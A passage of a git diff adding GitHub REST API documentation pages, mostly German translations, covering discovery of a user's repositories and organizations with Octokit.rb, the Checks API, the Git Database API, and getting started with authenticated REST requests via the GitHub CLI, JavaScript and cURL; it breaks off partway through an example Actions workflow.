+++ b/translations/de-DE/content/rest/guides/discovering-resources-for-a-user.md
@@ -0,0 +1,115 @@
+---
+title: Ermitteln von Ressourcen für einen Benutzer
+intro: 'Hier erfährst du, wie du Repositorys und Organisationen findest, auf die deine App für Benutzer*innen zuverlässig für authentifizierte Anforderungen an die REST-API zugreifen kann.'
+redirect_from:
+  - /guides/discovering-resources-for-a-user
+  - /v3/guides/discovering-resources-for-a-user
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Discover resources for a user
+ms.openlocfilehash: 9650ff8dee220f0b32d74cacb0f86acd236df5b6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131367'
+---
+Beim Erstellen authentifizierter Anforderungen an die {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API müssen Anwendungen häufig die Repositorys und Organisationen des aktuellen Benutzers abrufen. In diesem Leitfaden wird erläutert, wie diese Ressourcen zuverlässig entdeckt werden.
+
+Um mit der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API zu interagieren, verwenden wir [Octokit.rb][octokit.rb]. Den vollständigen Quellcode für dieses Projekt findest du im Repository [platform-samples][platform samples].
+
+## Erste Schritte
+
+Falls du es noch nicht getan hast, solltest du den Leitfaden [„Grundlagen der Authentifizierung“][basics-of-authentication] lesen, bevor du die folgenden Beispiele durcharbeitest. In den folgenden Beispielen wird davon ausgegangen, dass du [eine OAuth-Anwendung registriert][register-oauth-app] hast und dass deine [Anwendung über ein OAuth-Token für einen Benutzer verfügt][make-authenticated-request-for-user].
+
+## Entdecken der Repositorys, auf die deine App für einen Benutzer zugreifen kann
+
+Zusätzlich zu seinen eigenen persönlichen Repositorys kann ein Benutzer ein Mitarbeiter im Besitz anderer Benutzer und Organisationen sein. Dies sind die Repositorys, in denen der Benutzer privilegierten Zugriff hat: entweder ein privates Repository, in dem der Benutzer Lese- oder Schreibzugriff hat, oder {% ifversion fpt %}ein öffentliches{% elsif ghec or ghes %}ein öffentliches oder internesl{% elsif ghae %}ein internes{% endif %} Repository, in dem der Benutzer Schreibzugriff hat.
+
+[OAuth-Bereiche][scopes] und [Organisationsanwendungsrichtlinien][oap] bestimmen, auf welche dieser Repositorys deine App für einen Benutzer zugreifen kann. Verwende den folgenden Workflow, um diese Repositorys zu entdecken.
+
+Wie immer wird zuerst die Ruby-Bibliothek [GitHub Octokit.rb][octokit.rb] benötigt. Anschließend konfigurieren wir Octokit.rb, um die [Paginierung][pagination] für uns automatisch handzuhaben.
+
+``` ruby
+require 'octokit'
+
+Octokit.auto_paginate = true
+```
+
+Als Nächstes übergeben wir das [OAuth-Token unserer Anwendung für einen bestimmten Benutzer][make-authenticated-request-for-user]:
+
+``` ruby
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below.
+client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
+```
+
+Dann sind wir bereit, die [Repositorys abzurufen, auf die unsere Anwendung für den Benutzer zugreifen kann][list-repositories-for-current-user]:
+
+``` ruby
+client.repositories.each do |repository|
+  full_name = repository[:full_name]
+  has_push_access = repository[:permissions][:push]
+
+  access_type = if has_push_access
+                  "write"
+                else
+                  "read-only"
+                end
+
+  puts "User has #{access_type} access to #{full_name}."
+end
+```
+
+## Entdecken der Organisationen, auf die deine App für einen Benutzer zugreifen kann
+
+Anwendungen können alle Arten von organisationsbezogenen Aufgaben für einen Benutzer ausführen. Um diese Aufgaben auszuführen, benötigt die App eine [OAuth-Autorisierung][scopes] mit ausreichender Berechtigung. Der Bereich `read:org` ermöglicht es Dir beispielsweise, [Teams auflisten][list-teams] zu können, und der Bereich `user` ermöglicht es Dir, [die Mitgliedschaft des Benutzers zu veröffentlichen][publicize-membership]. Sobald ein Benutzer deiner App einen oder mehrere dieser Bereiche zugewiesen hat, kannst du die Organisationen des Benutzers abrufen.
+
+Genau wie bei der Erkennung von Repositories (siehe oben) benötigen wir zunächst die GitHub-Ruby-Bibliothek [Octokit.rb][octokit.rb] und konfigurieren sie so, dass sie die [Paginierung][pagination] für uns übernimmt:
+
+``` ruby
+require 'octokit'
+
+Octokit.auto_paginate = true
+```
+
+Als Nächstes übergeben wir das [OAuth-Token unserer Anwendung für einen bestimmten Benutzer][make-authenticated-request-for-user], um unseren API-Client zu initialisieren:
+
+``` ruby
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below.
+client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
+```
+
+Anschließend können wir [die Organisationen auflisten, auf die unsere Anwendung für den Benutzer zugreifen kann][list-orgs-for-current-user]:
+
+``` ruby
+client.organizations.each do |organization|
+  puts "User belongs to the #{organization[:login]} organization."
+end
+```
+
+### Zurückgeben aller Organisationsmitgliedschaften des Benutzers
+
+Wenn du die Dokumente von vorne bis hinten gelesen hast, hast du möglicherweise eine [API-Methode für die Auflistung der Mitgliedschaften der öffentlichen Organisation eines Benutzers][list-public-orgs] bemerkt. Die meisten Anwendungen sollten diese API-Methode vermeiden. Diese Methode gibt nur die Mitgliedschaften der öffentlichen Organisation des Benutzers zurück, nicht seine privaten Organisationsmitgliedschaften.
+
+Als Anwendung möchtest du in der Regel alle Organisationen des Benutzers haben, auf die deine Anwendung zugreifen darf. Der oben genannte Workflow gibt Dir genau das.
+
+[basics-of-authentication]: /rest/guides/basics-of-authentication
+[list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user
+[list-repositories-for-current-user]: /rest/reference/repos#list-repositories-for-the-authenticated-user
+[list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user
+[list-teams]: /rest/reference/teams#list-teams
+[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
+[oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/
+[octokit.rb]: https://github.com/octokit/octokit.rb
+[pagination]: /rest#pagination
+[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user
+[publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user
+[register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app
+[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
diff --git a/translations/de-DE/content/rest/guides/getting-started-with-the-checks-api.md b/translations/de-DE/content/rest/guides/getting-started-with-the-checks-api.md
new file mode 100644
index 0000000000..de7bfd2cef
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/getting-started-with-the-checks-api.md
@@ -0,0 +1,86 @@
+---
+title: Erste Schritte mit der Überprüfungs-API
+intro: 'Mit der Überprüfungsausführungs-API kannst du GitHub-Apps erstellen, die leistungsstarke Überprüfungen auf Codeänderungen in einem Repository durchführen. Du kannst Apps erstellen, die Continuous Integration, Codelinting oder Codescandienste ausführen und detailliertes Feedback zu Commits bereitstellen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Get started - Checks API
+ms.openlocfilehash: 6d98940d9cf4f4fd534034e142aa3d86a0900406
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710243'
+---
+## Übersicht
+
+Anstelle von binären Erfolgs- bzw. Fehler-Buildstatus können GitHub-Apps umfangreiche Status melden, Codezeilen mit detaillierten Informationen kommentieren und Tests erneut ausführen. Die Funktionen der Überprüfungs-API sind nur für deine GitHub-Apps verfügbar.
+
+Unter [Erstellen von CI-Tests mit der Überprüfungs-API](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/) findest du ein Beispiel für die Verwendung der Überprüfungs-API mit einer {% data variables.product.prodname_github_app %}.
+
+## Informationen zu Überprüfungssammlungen
+
+Wenn Code in ein Repository gepusht wird, erstellt GitHub eine Überprüfungssammlung für den letzten Commit. Eine Überprüfungssammlung ist eine Sammlung von [Überprüfungsausführungen](/rest/reference/checks#check-runs), die von einer einzelnen GitHub-App für einen bestimmten Commit erstellt wurde. Überprüfungssammlungen fassen den Status und das Ergebnis der Überprüfungsausführungen zusammen, die in einer Sammlung enthalten sind.
+
+![Workflow der Überprüfungssammlungen](/assets/images/check_suites.png)
+
+Die Überprüfungssammlung meldet die `conclusion` der Überprüfungsausführung mit der höchsten Priorität in der `conclusion` der Überprüfungssammlung. Wenn beispielsweise drei Überprüfungen die Ergebnisse `timed_out`, `success` und `neutral` haben, ist das Ergebnis der Überprüfungssammlung `timed_out`.
+
+Wenn Code in das Repository gepusht wird, erstellt GitHub immer automatisch eine Überprüfungssammlung. Dieser Standardflow sendet das `check_suite`-Ereignis (mit der `requested`-Aktion) an alle GitHub-Apps, die über die Berechtigung `checks:write` verfügen. Wenn deine GitHub-App das Ereignis `check_suite` empfängt, kann sie neue Überprüfungsausführungen für den letzten Commit erstellen. GitHub fügt abhängig vom Repository und dem SHA-Wert der Überprüfungsausführung automatisch neue Überprüfungsausführungen zur richtigen [Überprüfungssammlung](/rest/reference/checks#check-suites) hinzu.
+
+Wenn du den automatischen Standardflow nicht verwenden möchtest, kannst du dies beim Erstellen der Überprüfungssammlungen festlegen. Verwende zum Ändern der Standardeinstellungen für die Erstellung von Überprüfungssammlungen den Endpunkt [Aktualisieren von Repositoryeinstellungen für Überprüfungssammlungen](/rest/reference/checks#update-repository-preferences-for-check-suites). Alle Änderungen an den Einstellungen von automatischen Flows werden im Überwachungsprotokoll des Repositorys aufgezeichnet. Wenn du den automatischen Flow deaktiviert hast, kannst du eine Überprüfungssammlung mithilfe des Endpunkts [Erstellen einer Überprüfungssammlung](/rest/reference/checks#create-a-check-suite) erstellen. Du solltest weiterhin den Endpunkt [Erstellen einer Überprüfungsausführung](/rest/reference/checks#create-a-check-run) verwenden, um Feedback zu einem Commit bereitzustellen.
+
+{% data reusables.apps.checks-availability %}
+
+Die GitHub-App muss über die Berechtigung `checks:write` verfügen und kann außerdem den Webhook [check_suite](/webhooks/event-payloads/#check_suite) abonnieren, um die Überprüfungssammlungs-API zu verwenden.
+
+{% data reusables.shortdesc.authenticating_github_app %}
+
+## Informationen zu Überprüfungsausführungen
+
+Eine Überprüfungsausführung ist ein einzelner Test, der Teil einer Überprüfungssammlung ist. Jede Ausführung enthält einen Status und ein Ergebnis.
+
+![Workflow der Überprüfungsausführungen](/assets/images/check_runs.png)
+
+Wenn eine Überprüfungsausführung sich mehr als 14 Tage in einem unvollständigen Zustand befindet, ändert sich `conclusion` für die Überprüfungsausführung in `stale` und wird in {% data variables.product.prodname_dotcom %} als veraltet mit {% octicon "issue-reopened" aria-label="The issue-reopened icon" %} angezeigt. Nur {% data variables.product.prodname_dotcom %} kann Überprüfungsausführungen als `stale` markieren. Weitere Informationen zu den möglichen Ergebnissen einer Überprüfungsausführung findest du unter [`conclusion`-Parameter](/rest/reference/checks#create-a-check-run--parameters).
+
+Sobald du den [`check_suite`](/webhooks/event-payloads/#check_suite)-Webhook erhältst, kannst du die Überprüfungsausführung erstellen, auch wenn die Überprüfung nicht abgeschlossen ist. Du kannst den `status` der Überprüfungsausführung aktualisieren, sobald er mit den Werten `queued`, `in_progress` oder `completed` abgeschlossen ist, und du kannst den `output` aktualisieren, sobald weitere Details verfügbar sind. Eine Überprüfungsausführung kann Zeitstempel, einen Link zu weiteren Details auf deiner externen Website, detaillierte Anmerkungen zu bestimmten Codezeilen und Informationen zur durchgeführten Analyse enthalten.
+
+![Anmerkungen von Überprüfungsausführungen](/assets/images/check_run_annotations.png)
+
+Eine Überprüfung kann auch manuell mithilfe der GitHub-Benutzeroberfläche erneut ausgeführt werden. Weitere Details findest du unter [Informationen zu Statusüberprüfungen](/articles/about-status-checks#checks). Wenn dies geschieht, erhält die GitHub-App, die die Überprüfung erstellt hat, den [`check_run`](/webhooks/event-payloads/#check_run)-Webhook, der eine neue Überprüfungsausführung anfordert. Wenn du eine Überprüfungsausführung generierst, ohne eine Überprüfungssammlung zu erstellen, erstellt GitHub die Überprüfungssammlung automatisch.
+
+{% data reusables.apps.checks-availability %}
+
+Die GitHub-App muss über die Berechtigung `checks:write` verfügen und kann außerdem den Webhook [check_run](/webhooks/event-payloads#check_run) abonnieren, um die Überprüfungsausführungs-API zu verwenden.
+
+## Überprüfungsausführungen und angeforderte Aktionen
+
+Wenn du eine Überprüfungsausführung mit angeforderten Aktionen einrichtest (nicht zu verwechseln mit {% data variables.product.prodname_actions %}), kannst du eine Schaltfläche in der Pull Request-Anzeige auf {% data variables.product.prodname_dotcom %} anzeigen, mit der Benutzer*innen deine {% data variables.product.prodname_github_app %} anfordern können, um zusätzliche Aufgaben auszuführen.
+
+Beispielsweise könnte eine Codelinting-App angeforderte Aktionen verwenden, um eine Schaltfläche in einem Pull Request anzuzeigen, wodurch erkannte Syntaxfehler automatisch behoben werden können.
+
+Verwende das [`actions`-Objekt](/rest/reference/checks#create-a-check-run--parameters), wenn du [eine Überprüfungsausführung erstellst](/rest/reference/checks/#create-a-check-run), um eine Schaltfläche zu erstellen, die zusätzliche Aktionen von deiner App anfordern kann. Beispielsweise zeigt das folgende `actions`-Objekt eine Schaltfläche in einem Pull Request mit der Bezeichnung „Dies beheben“. Die Schaltfläche wird nach Abschluss der Überprüfungsausführung angezeigt.
+
+   ```json
+  "actions": [{
+      "label": "Fix this",
+      "description": "Let us fix that for you",
+      "identifier": "fix_errors"
+    }]
+  ```
+
+  ![Schaltfläche mit angeforderter Aktion für die Überprüfungsausführung](/assets/images/github-apps/github_apps_checks_fix_this_button.png)
+
+Wenn ein*e Benutzer*in auf die Schaltfläche klickt, sendet {% data variables.product.prodname_dotcom %} den [`check_run.requested_action`-Webhook](/webhooks/event-payloads/#check_run) an deine App. Wenn deine App ein `check_run.requested_action`-Webhookereignis empfängt, kann sie in den Webhooknutzdaten nach dem `requested_action.identifier`-Schlüssel suchen, um zu ermitteln, welche Schaltfläche betätigt wurde, und die angeforderte Aufgabe ausführen.
+
+Unter [Erstellen von CI-Tests mit der Überprüfungs-API](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/#part-2-creating-the-octo-rubocop-ci-test) findest du ein detailliertes Beispiel für das Einrichten von angeforderten Aktionen mit der Überprüfungs-API.
+
+{% ifversion fpt or ghec %}
+## Aufbewahrung von Überprüfungsdaten
+
+{% data reusables.pull_requests.retention-checks-data %} {% endif %}
diff --git a/translations/de-DE/content/rest/guides/getting-started-with-the-git-database-api.md b/translations/de-DE/content/rest/guides/getting-started-with-the-git-database-api.md
new file mode 100644
index 0000000000..c6f0b679b3
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/getting-started-with-the-git-database-api.md
@@ -0,0 +1,55 @@
+---
+title: Erste Schritte mit der Git-Datenbank-API
+intro: 'Die Git-Datenbank-API ermöglicht Lese- und Schreibzugriff auf unformatierte Git-Objekte in deiner Git-Datenbank auf {% data variables.product.product_name %} und zum Auflisten und Aktualisieren deiner Verweise (Branchheads und Tags).'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Get started - Git Database API
+ms.openlocfilehash: b7044e299602de42a2c880df8da4a6f19ef9334b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145131343'
+---
+## Übersicht 
+
+Dies ermöglicht es dir, viele Git-Funktionen über die API neu zu implementieren. Indem du rohe Objekte direkt in der Datenbank erstellst und Branchreferenzen aktualisierst, kannst du theoretisch sämtliche Git-Funktionen nutzen, ohne Git installiert zu haben.
+
+Git-Datenbank-API-Funktionen geben einen `409 Conflict` zurück, wenn das Git-Repository leer oder nicht verfügbar ist.  Ein nicht verfügbares Repository bedeutet in der Regel, dass das Repository gerade von {% data variables.product.product_name %} erstellt wird. Bei einem leeren Repository kannst du den Endpunkt [Dateiinhalte erstellen oder aktualisieren](/rest/reference/repos#create-or-update-file-contents) verwenden, um Inhalte zu erstellen und das Repository zu initialisieren, damit du die Git-Datenbank-API verwenden kannst. Wende dich an {% data variables.contact.contact_support %}, wenn dieser Antwortstatus weiterhin auftritt.
+
+![Übersicht über die Git-Datenbank](/assets/images/git-database-overview.png)
+
+Weitere Informationen zur Git-Objektdatenbank findest du im Kapitel [Git Internals](http://git-scm.com/book/en/v1/Git-Internals) des Pro Git-Buchs.
+
+Wenn du beispielsweise eine Änderung an einer Datei in deinem Repository committen möchtest, gehe wie folgt vor:
+
+* Rufe das aktuelle Commitobjekt ab.
+* Rufe die aufgewiesene Struktur ab.
+* Rufe den Inhalt des Blobobjekts ab, über das die Struktur für diesen bestimmten Dateipfad verfügt.
+* Ändere den Inhalt, stelle ein neues Blobobjekt mit diesem neuen Inhalt bereit, und erhalte einen Blob-SHA-Wert zurück.
+* Stelle ein neues Strukturobjekt bereit, bei dem dieser Dateipfadzeiger durch deinen neuen Blob-SHA-Wert ersetzt ist, und erhalte einen Struktur-SHA-Wert zurück.
+* Erstelle ein neues Commitobjekt mit dem aktuellen Commit-SHA-Wert als übergeordnetes Element und des neuen Struktur-SHA-Werts, und erhalte einen Commit-SHA-Wert zurück.
+* Aktualisiere den Verweis deines Branch auf den neuen Commit-SHA-Wert.
+
+Der Vorgang mag komplex erscheinen, ist jedoch recht einfach, wenn du das Modell verstehst. Außerdem eröffnet er dir eine Vielzahl an Möglichkeiten, wie du die API nutzen kannst.
+
+## Überprüfen der Zusammenführbarkeit von Pull Requests
+
+{% warning %}
+
+**Warnhinweis:** Vertraue nicht darauf, Git direkt oder [`GET /repos/{owner}/{repo}/git/refs/{ref}`](/rest/reference/git#get-a-reference)-Updates für `merge`-Git-Referenzen zu verwenden, da diese Inhalte ohne Vorankündigung veralten.
+
+{% endwarning %}
+
+Eine Verbrauchs-API muss explizit ein Pull Request anfordern, um einen _Test_-Mergecommit zu erstellen. Ein _Test_-Mergecommit wird erstellt, wenn du den Pull Request auf der Benutzeroberfläche anzeigst und die Schaltfläche „Zusammenführen“ angezeigt wird, oder wenn du mithilfe der REST-API ein Pull Request [abrufst](/rest/reference/pulls#get-a-pull-request), [erstellst](/rest/reference/pulls#create-a-pull-request) oder [bearbeitest](/rest/reference/pulls#update-a-pull-request). Ohne diese Anforderung veralten die `merge`-Git-Referenzen, bis jemand das nächste Mal den Pull Request anzeigt.
+
+Wenn du derzeit Abrufmethoden verwendest, die veraltete `merge`-Git-Referenzen erzeugen, empfiehlt GitHub die folgenden Schritte, um die neuesten Änderungen aus dem Standardbranch abzurufen:
+
+1. Empfange den Pull-Request-Webhook.
+2. Rufe [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request) auf, um einen Hintergrundauftrag zum Erstellen des Mergecommitkandidaten zu starten.
+3. Rufe dein Repository mit [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request) ab, um festzustellen, ob das `mergeable`-Attribut `true` oder `false` ist. Erst nachdem du die vorherigen Schritte ausgeführt hast, kannst du Git direkt oder [`GET /repos/{owner}/{repo}/git/refs/{ref}`](/rest/reference/git#get-a-reference) für Updates für `merge`-Git-Referenzen verwenden.
diff --git a/translations/de-DE/content/rest/guides/getting-started-with-the-rest-api.md b/translations/de-DE/content/rest/guides/getting-started-with-the-rest-api.md
new file mode 100644
index 0000000000..ed666cdb27
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/getting-started-with-the-rest-api.md
@@ -0,0 +1,783 @@
+---
+title: Getting started with the REST API
+intro: 'Learn how to use the {% data variables.product.prodname_dotcom %} REST API.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Using the API
+miniTocMaxHeadingLevel: 3
+---
+
+## About the {% data variables.product.prodname_dotcom %} REST API
+
+This article describes how to use the {% data variables.product.prodname_dotcom %} REST API using {% data variables.product.prodname_cli %}, JavaScript, or cURL. For a quickstart guide, see "[Quickstart for GitHub REST API](/rest/quickstart)."
+
+When you make a request to the REST API, you will specify an HTTP method and a path. Additionally, you might also specify request headers and path, query, or body parameters. The API will return the response status code, response headers, and potentially a response body.
+
+The REST API reference documentation describes the HTTP method, path, and parameters for every operation. It also displays example requests and responses for each operation. For more information, see the [REST reference documentation](/rest).
+
+For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)."
+
+## Making a request
+
+To make a request, first find the HTTP method and the path for the operation that you want to use. For example, the "Get Octocat" operation uses the `GET` method and the `/octocat` path. For the full reference documentation for this operation, see "[Get Octocat](/rest/meta#get-octocat)."
+
+{% cli %}
+
+{% note %}
+
+**Note**: You must install {% data variables.product.prodname_cli %} in order to use the commands in the {% data variables.product.prodname_cli %} examples. For installation instructions, see the [{% data variables.product.prodname_cli %} repository](https://github.com/cli/cli#installation).
+
+{% endnote %}
+
+If you are not already authenticated to {% data variables.product.prodname_cli %}, you must use the `gh auth login` subcommand to authenticate before making any requests. For more information, see "[Authenticating](#authenticating)."
+
+To make a request using {% data variables.product.prodname_cli %}, use the `api` subcommand along with the path. Use the `--method` or `-X` flag to specify the method.
+
+```shell
+gh api /octocat --method GET
+```
+
+{% endcli %}
+
+{% javascript %}
+
+{% note %}
+
+**Note**: You must install and import `octokit` in order to use the Octokit.js library used in the JavaScript examples. For more information, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme).
+
+{% endnote %}
+
+To make a request using JavaScript, you can use Octokit.js. For more information, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme).
+
+First, create an instance of `Octokit`.{% ifversion ghes or ghae %} Set the base URL to `{% data variables.product.api_url_code %}`. Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %}
+
+```javascript
+const octokit = new Octokit({ {% ifversion ghes or ghae %}
+  baseUrl: "{% data variables.product.api_url_code %}",
+{% endif %}});
+```
+
+Then, use the `request` method to make requests. Pass the HTTP method and path as the first argument.
+
+```javascript
+await octokit.request("GET /octocat", {});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+Prepend the base URL for the {% data variables.product.prodname_dotcom %} REST API, `{% data variables.product.api_url_code %}`, to the path to get the full URL: `{% data variables.product.api_url_code %}/octocat`.{% ifversion ghes or ghae %} Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %}
+
+Use the `curl` command in your command line. Use the `--request` or `-X` flag followed by the HTTP method. Use the `--url` flag followed by the full URL.
+
+```shell
+curl --request GET \
+--url "https://api.github.com/octocat"
+```
+
+{% note %}
+
+**Note**: If you get a message similar to "command not found: curl", you may need to download and install cURL. For more information, see [the cURL project download page](https://curl.se/download.html).
+
+{% endnote %}
+
+{% endcurl %}
+
+Continue reading to learn how to authenticate, send parameters, and use the response.
+
+## Authenticating
+
+Many operations require authentication or return additional information if you are authenticated. Additionally, you can make more requests per hour when you are authenticated.{% cli %} Although some REST API operations are accessible without authentication, you must authenticate to {% data variables.product.prodname_cli %} in order to use the `api` subcommand.{% endcli %}
+
+### About tokens
+
+You can authenticate your request by adding a token.
+
+If you want to use the {% data variables.product.company_short %} REST API for personal use, you can create a {% data variables.product.pat_generic %}. The REST API operations used in this article require `repo` scope for {% data variables.product.pat_v1_plural %}{% ifversion pat-v2 %} or, unless otherwise noted, read-only access to public repositories for {% data variables.product.pat_v2 %}s{% endif %}. Other operations may require different scopes{% ifversion pat-v2%} or permissions{% endif %}. For more information about creating a {% data variables.product.pat_generic %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+If you want to use the API on behalf of an organization or another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. If an operation is available to {% data variables.product.prodname_github_apps %}, the REST reference documentation for that operation will say "Works with GitHub Apps." The REST API operations used in this article require `issues` read and write permissions for {% data variables.product.prodname_github_apps %}. Other operations may require different permissions. For more information, see "[Creating a GitHub App](/developers/apps/building-github-apps/creating-a-github-app)", "[Authenticating with GitHub Apps](/developers/apps/building-github-apps/authenticating-with-github-apps), and "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)."
+
+If you want to use the API in a {% data variables.product.prodname_actions %} workflow, {% data variables.product.company_short %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. You can grant permissions to the `GITHUB_TOKEN` with the `permissions` key. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)."
+
+### Authentication example
+
+{% cli %}
+
+With {% data variables.product.prodname_cli %}, you don't need to create an access token in advance. Use the `auth login` subcommand to authenticate to {% data variables.product.prodname_cli %}:
+
+```shell
+gh auth login
+```
+
+You can use the `--scopes` flag to specify what scopes you want. If you want to authenticate with a token that you created, you can use the `--with-token` flag. For more information, see the [{% data variables.product.prodname_cli %} `auth login` documentation](https://cli.github.com/manual/gh_auth_login).
+
+{% endcli %}
+
+{% javascript %}
+
+{% warning %}
+
+**Warning**: Treat your access token like a password.
+
+To keep your token secure, you can store your token as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+{% ifversion ghec or fpt %}You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %}
+
+If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely.
+
+{% endwarning %}
+
+To authenticate with the Octokit.js library, you can pass your token when you create an instance of `Octokit`. Replace `YOUR-TOKEN` with your token.{% ifversion ghes or ghae %} Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %}
+
+```javascript
+const octokit = new Octokit({ {% ifversion ghes or ghae %}
+  baseUrl: "{% data variables.product.api_url_code %}",{% endif %}
+  auth: 'YOUR-TOKEN',
+});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+{% warning %}
+
+**Warning**: Treat your access token like a password.
+
+To help keep your account secure, you can use {% data variables.product.prodname_cli %} instead of cURL. {% data variables.product.prodname_cli %} will take care of authentication for you. For more information, see the {% data variables.product.prodname_cli %} version of this page.
+
+{% ifversion ghec or fpt %}You can also store your token as a {% data variables.product.prodname_codespaces %} secret and use the command line through {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %}
+
+If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely.
+
+{% endwarning %}
+
+With cURL, you will send an `Authorization` header with your token. Replace `YOUR-TOKEN` with your token:
+
+```shell
+curl --request GET \
+--url "https://api.github.com/octocat" \
+--header "Authorization: Bearer YOUR-TOKEN"
+```
+
+{% note %}
+
+**Note:** {% data reusables.getting-started.bearer-vs-token %}
+
+{% endnote %}
+
+{% endcurl %}
+
+### Authentication example for {% data variables.product.prodname_actions %}
+
+{% cli %}
+
+You can also use the `run` keyword to execute {% data variables.product.prodname_cli %} commands in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+
+Instead of using the `gh auth login` command, pass your token as an environment variable called `GH_TOKEN`. {% data variables.product.prodname_dotcom %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+```yaml
+jobs:
+  use_api:
+    runs-on: ubuntu-latest
+    permissions: {}
+    steps:
+      - env:
+          GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+        run: |
+          gh api /octocat
+```
+
+{% endcli %}
+
+{% javascript %}
+
+You can also use the `run` keyword to execute your JavaScript scripts in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+
+{% data variables.product.prodname_dotcom %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+The following example workflow:
+
+1. Checks out the repository content
+1. Sets up Node.js
+1. Installs `octokit`
+1. Stores the value of `GITHUB_TOKEN` as an environment variable called `TOKEN` and runs `.github/actions-scripts/use-the-api.mjs`, which can access that environment variable as `process.env.TOKEN`
+
+Example workflow:
+
+```yaml
+on:
+  workflow_dispatch:
+jobs:
+  use_api_via_script:
+    runs-on: ubuntu-latest
+    permissions: {}
+    steps:
+      - name: Check out repo content
+        uses: {% data reusables.actions.action-checkout %}
+
+      - name: Setup Node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '16.17.0'
+          cache: npm
+
+      - name: Install dependencies
